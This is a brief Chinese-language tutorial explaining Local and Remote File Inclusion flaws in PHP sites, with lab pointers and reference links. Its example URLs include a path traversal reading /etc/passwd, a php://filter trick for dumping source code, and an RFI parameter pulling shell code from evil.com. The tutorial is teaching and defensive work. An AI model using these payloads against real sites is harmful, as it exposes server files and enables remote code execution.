LFI(Local File Inclusion)就是「本地檔案包含」,RFI(Remote File Inclusion)則是「遠程檔案包含」。
簡單說,它們都是利用網站原本用來載入檔案的功能來搞事情,只不過LFI是讀自己的伺服器上的檔案,RFI則是直接把外部網站的檔案塞進來執行。
常見狀況就是網站有個參數讓你決定要載入哪個檔案,像這樣:
http://example.com/index.php?page=header.php
如果工程師沒把輸入檢查做好,攻擊者就可以把參數改成:
http://example.com/index.php?page=../../../../etc/passwd
這樣就偷偷讀到了Linux很重要的帳號檔案 /etc/passwd,資料瞬間外洩!
?page=file1.php。?page=../../../../etc/passwd。php://filter/read=convert.base64-encode/resource=檔案名 來讀原始碼。如果後端語言設定允許載入遠端檔案(PHP的 allow_url_include 開啟),可將參數改成:
?page=http://evil.com/shell.txt
只要那個遠端檔案內容是可執行的程式碼,伺服器很有可能直接執行,危險到爆!
這些漏洞有一個共通點:都跟「輸入沒檢查」有關。
市面上很多弱點測試機(像DVWA、bWAPP)都有LFI、RFI題目。
實際操作你會發現,一個小小輸入框或參數沒檢查,攻擊者就能翻箱倒櫃把伺服器裡的東西抓出來,甚至用RFI遠端執行一大堆邪惡指令!
所以,平常開發,寧願讓用戶抱怨"只能選這幾個檔案"也不要省那點麻煩,安全真的很重要!
保護好你的檔案,就是保護你的網站和用戶。
參考來源
本地文件包含漏洞 - iT 邦幫忙::一起幫忙解決難題,拯救IT 人的一天 https://ithelp.ithome.com.tw/articles/10160602
Local File Inclusion (LFI) 練習– SecTools.tw 2.0 https://sectools.tw/archives/207
DVWA(Damn Vulnerable Web Application)- File Inclusion https://lonelysec.com/dvwa%EF%BC%88damn-vulnerable-web-application%EF%BC%89-file-inclusion/